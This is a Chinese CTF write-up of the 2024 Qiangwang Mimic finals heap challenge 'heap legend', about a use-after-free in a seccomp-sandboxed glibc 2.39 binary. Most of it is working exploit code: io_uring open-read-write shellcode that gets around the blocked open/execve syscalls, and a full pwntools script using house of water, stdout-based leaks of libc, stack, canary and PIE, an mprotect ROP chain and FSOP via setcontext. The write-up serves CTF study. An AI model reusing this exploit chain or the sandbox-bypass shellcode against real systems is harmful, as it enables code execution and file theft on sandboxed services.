【house of water + io_uring orw】2024强网拟态决赛-heap legend

更新

ptracedocker 环境中存在很多限制,并且要加上 SYS_PTRACE 权限,并且想要附加其它进程要求有 root 权限或者 CAP_PTRACE,而且目标 ubuntu 上存在 Yama 安全模式保存,默认都为 1

前言

记得去年 ACTF 就出过 io_uring orw 的题目,当时嫌麻烦没有研究,没想到今年又遇到了,所以不得不自己手撸一下了(:
直接对着 liburing 撸就完了,找到核心的系统调用,然后提取出来即可。感兴趣的可以自己试试,不想动手的可以直接用我提供的 io_uring orw shellcode

漏洞分析

[0, 0x1000] 大小堆块的 UAF,可以 edit,但是无 show 函数,所以这里得打 _IO_2_1_stdout_ 去进行 leak。但是远程 glibc 版本为 2.39,所以 fastbin / tcachenext 指针都进行了加密。所以传统的 fastbin attack 就用不了了

最后找到了 house of water 攻击手法,发现这个题目就是 house of water 的模板题,关于 house of water 可以参考 how2heap 上的脚本,其实利用方法比较简单,就不多说了。题目还把 heap/glibc12~12+4 bit 给我们了,所以不需要进行爆破,否则需要进行两次爆破,成功率为 1/256

题目开启了沙箱:

xiaozaya@vm:~/rubbish/P$ seccomp-tools dump ./pwn
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0010
0006: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0010
0007: 0x15 0x02 0x00 0x00000101  if (A == openat) goto 0010
0008: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0010
0009: 0x15 0x00 0x01 0x000001b5  if (A != 0x1b5) goto 0011
0010: 0x06 0x00 0x00 0x00000000  return KILL
0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

可以看到主要把 o 给限制死了

漏洞利用

主要是利用 io_uring orw,这里我尝试利用 ptrace 系统调用进行绕沙箱,但是最后失败了,如果有师傅用 ptrace 绕成功了,希望能够不吝赐教(:

io_uring orw shellcode

from pwn import *

context(arch = 'amd64', os = 'linux')

"""
    rsp+0x100   0x078: struct io_uring_params params = {};
    rsp+0x200   0x008: uring_fd
    rsp+0x208   0x008: sq_ring ptr
    rsp+0x210   0x008: cq_ring ptr
    rsp+0x218   0x008: sqes ptr
    rsp+0x220   0x008: flag_fd
    rsp+0x300   0x100: buffer
"""
shellcode = asm("""
/*视情况调整栈帧*/
    add rsp, 0x2000
/*int uring_fd = syscall(SYS_io_uring_setup, 16, &params);*/
    mov rax, 0
    lea rdi, [rsp+0x100]
    mov rcx, 15
    rep stosq
    mov rdi, 16
    lea rsi, [rsp+0x100]
    mov rax, 0x1a9
    syscall
/*unsigned char *sq_ring = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING);*/
    mov qword ptr [rsp+0x200], rax
    xor rdi, rdi
    mov rsi, 0x1000
    mov rdx, 3
    mov r10, 1
    mov r8, qword ptr [rsp+0x200]
    mov r9, 0
    mov rax, 9
    syscall
    mov qword ptr [rsp+0x208], rax
/*unsigned char *cq_ring = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING);*/
    xor rdi, rdi
    mov rsi, 0x1000
    mov rdx, 3
    mov r10, 1
    mov r8, qword ptr [rsp+0x200]
    mov r9, 0x8000000
    mov rax, 9
    syscall
    mov qword ptr [rsp+0x210], rax
/*struct io_uring_sqe *sqes = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES);*/
    xor rdi, rdi
    mov rsi, 0x1000
    mov rdx, 3
    mov r10, 1
    mov r8, qword ptr [rsp+0x200]
    mov r9, 0x10000000
    mov rax, 9
    syscall
    mov qword ptr [rsp+0x218], rax

/*openat*/
    mov rax, 0
    mov rdi, qword ptr [rsp+0x218]
    mov rcx, 8
    rep stosq
    mov rdi, qword ptr [rsp+0x218]
    mov byte ptr [rdi], 18
    mov byte ptr [rdi+1], 16
    mov dword ptr [rdi+4], -100
    /* 要打开文件的路径存放在 rsp+0x300 处 */
    mov rax, 0x67616c662f2e
    mov qword ptr [rsp+0x300], rax
    lea rax, [rsp+0x300]
    mov qword ptr [rdi+16], rax
    mov dword ptr [rdi+28], 0

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x140]
    add rdi, rdx
    mov dword ptr [rdi], 0

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x12c]
    add rdi, rdx
    add dword ptr [rdi], 1

    mov rdi, qword ptr [rsp+0x200]
    mov rsi, 1
    mov rdx, 1
    mov r10, 1
    xor r8, r8
    xor r9, r9
    mov rax, 0x1aa
    syscall

    mov rdi, qword ptr [rsp+0x210]
    mov edx, dword ptr [rsp+0x164]
    add rdi, rdx
    mov edx, dword ptr [rdi+8]
    mov qword ptr [rsp+0x220], rdx

 /*read*/
    mov rax, 0
    mov rdi, qword ptr [rsp+0x218]
    mov rcx, 8
    rep stosq
    mov rdi, qword ptr [rsp+0x218]
    mov byte ptr [rdi], 22
    mov rax, qword ptr [rsp+0x220]
    mov dword ptr [rdi+4], eax
    lea rax, [rsp+0x300]
    mov qword ptr [rdi+16], rax
    mov dword ptr [rdi+24], 0x100

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x140]
    add rdi, rdx
    mov dword ptr [rdi], 0

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x12c]
    add rdi, rdx
    add dword ptr [rdi], 1

    mov rdi, qword ptr [rsp+0x200]
    mov rsi, 1
    mov rdx, 1
    mov r10, 1
    xor r8, r8
    xor r9, r9
    mov rax, 0x1aa
    syscall

/*write*/
    mov rax, 0
    mov rdi, qword ptr [rsp+0x218]
    mov rcx, 8
    rep stosq
    mov rdi, qword ptr [rsp+0x218]
    mov byte ptr [rdi], 23
    mov dword ptr [rdi+4], 1
    lea rax, [rsp+0x300]
    mov qword ptr [rdi+16], rax
    mov dword ptr [rdi+24], 0x100

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x140]
    add rdi, rdx
    mov dword ptr [rdi], 0

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x12c]
    add rdi, rdx
    add dword ptr [rdi], 1

    mov rdi, qword ptr [rsp+0x200]
    mov rsi, 1
    mov rdx, 3
    mov r10, 1
    xor r8, r8
    xor r9, r9
    mov rax, 0x1aa
    syscall
""")

print("shellcode len: ", hex(len(shellcode)))
with open("orw.bin", "wb") as f:
    f.write(shellcode)

exp.py 如下:

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'> '

def add(size):
    sla(menu, b'1')
    sla(b'party? ', byte(size))

def dele(idx):
    sla(menu, b'2')
    sla(b'removed? ', byte(idx))

def leak_byte4():
    sla(menu, b'3')
    sla(b'here: ', byte(114514))
    rut(b'Let me see how your dishes are coming along: ')
    return int(rut(b'\n'), 16)

def uaf_write(idx, offset, data):
    sla(menu, b'3')
    sla(b'here: ', byte(111111))
    sla(b'order', byte(idx))
    sla(b'Which one? ', byte(offset))
    sda(b'Baking >', data)

def copy_idx(idx):
    sla(menu, b'3')
    sla(b'here: ', byte(idx))

print(hex(libc.sym.syscall))
libc_4 = leak_byte4()
stdout = (leak_byte4() << 12 | 0xe50) + 0xa930
info("stdout", stdout)

add(0x3d8) # 0
add(0x3e8) # 1
dele(0)
dele(1)

add(0x500)
for _ in range(6):
    add(0x88)   # 2 ~ 2+6
#for i in range(7):
#    dele(i+2)

add(0x1000-0xa0) # 9
add(0x18)   # 10
copy_idx(9) # 9 --> 0
dele(9)

add(0x18)   # 11
add(0x500)  # 12
add(0x500)  # 13
add(0x500)  # 14
add(0x18)   # 15

dele(12)
uaf_write(0, 0x10, p64(0)+p64(0xa21))
uaf_write(0, 0x10+0x510+0x510, p64(0x510+0x510)+p64(0x510))
dele(14)

add(0x4f0)  # 16
add(0x510)  # 17
add(0x500)  # 18
uaf_write(0, 0x10+0x500+8, p64(0x31))
dele(17)
uaf_write(0, 0x10+0x510+8, p64(0x511))

add(0x1000-0xa0) # 19
add(0x18)   # 20
copy_idx(19) # 19 --> 1
dele(19)

add(0x18)   # 21
add(0x500)  # 22
add(0x500)  # 23
add(0x500)  # 24
add(0x18)   # 25

dele(22)
uaf_write(1, 0x10, p64(0)+p64(0xa21))
uaf_write(1, 0x10+0x510+0x510, p64(0x510+0x510)+p64(0x510))
dele(24)

add(0x4f0)  # 26
add(0x510)  # 27
add(0x500)  # 28
uaf_write(1, 0x10+0x500+8, p64(0x21))
dele(27)
uaf_write(1, 0x10+0x510+8, p64(0x511))

copy_idx(2)  # 2  --> 2
copy_idx(13) # 13 --> 3
copy_idx(23) # 23 --> 4

for _ in range(13):
    add(0xff0) # 29 ~ 29+12

copy_idx(29+12) # 41 --> 5
uaf_write(5, 0xe90-0x10, p64(0x10000)+p64(0x20))

add(0x238)  # 42
add(0x248)  # 43
dele(42)
dele(43)

dele(23)
dele(2)
dele(13)

heap = (leak_byte4() ^ libc_4) - 0x10
heap = (heap << 8) | 0x80
info("heap", heap)

uaf_write(4, 8, p16(heap))
uaf_write(3, 0, p16(heap))

add(0x500)  # 44
add(0x500)  # 45

add(0x100)  # 46
add(0x100)  # 47

copy_idx(47)    # 47 --> 6
uaf_write(6, 0, p16(stdout))

add(0x238) # 48
copy_idx(48)    # 48 --> 7
uaf_write(7, 0, p64(0xfbad1800)+p64(0)*3+p16(stdout+0x68))

rut(b'\n')
libc_base = addr8(8) - 0x21aaa0
info("libc_base", libc_base)

libc.address = libc_base

environ = libc.sym.environ
uaf_write(7, 0, p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)*2)
stack = addr8(8)
info("stack", stack)

uaf_write(7, 0, p64(0xfbad1800)+p64(0)*3+p64(stack-0x90)+p64(stack-0x90+8)*2)
canary = addr8(8)
info("canary", canary)

uaf_write(7, 0, p64(0xfbad1800)+p64(0)*3+p64(stack-0x30)+p64(stack-0x30+8)*2)
pie_base = addr8(8) - 0x11b5
info("pie_base", pie_base)

uaf_write(7, 0, p64(0xfbad1800)+p64(0)*3+p64(pie_base+0x4480)+p64(pie_base+0x4480+8)*2)
heap_base = addr8(8) - 0x12e0
info("heap_base", heap_base)

r = libc.sym.read
w = libc.sym.write
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
jmp_rdi = libc_base + 0x00000000000b131c # jmp rdi
ret = libc_base + 0x0000000000029139 # ret
syscall = libc.sym.syscall + 27

with open("orw.bin", "rb") as f:
    shellcode = f.read()

uaf_write(0, 0x400, shellcode)

shellcode_addr = heap_base+0x12e0+0x400
info("shellcode_len", len(shellcode))
info("shellcode_addr", shellcode_addr)

pay  = p64(pop_rdi)+p64(shellcode_addr&~0xfff)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(7)*2+p64(pop_rax)+p64(10)
pay += p64(syscall)+p64(pop_rdi)+p64(shellcode_addr)+p64(jmp_rdi)
info("rop len", len(pay))
uaf_write(0, 0x300, pay)

pay = flat({
    0xa0: heap_base+0x12e0+0x300,
    0xa8: ret,
    0xe0: heap_base+0x12e0+0x200,
    0x268: libc.sym.setcontext+61
}, filler=b'\x00')

uaf_write(0, 0, pay)

uaf_write(6, 8, p64(libc.sym._IO_2_1_stderr_))
pay = flat({
    0x0: 0,
    0x28: 1,
    0xa0: heap_base+0x12e0,
    0xd8: libc.sym._IO_wfile_jumps,
}, filler=b'\x00')


add(0x248)  # 49
copy_idx(49)    # 49 --> 8
uaf_write(8, 0, pay)

#gdb.attach(io, 'b *$rebase(0x1A30)')
sla(menu, b'4')

#pause()
#debug()
sh()

本地测试结果如下:本地 glibc 2.35
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值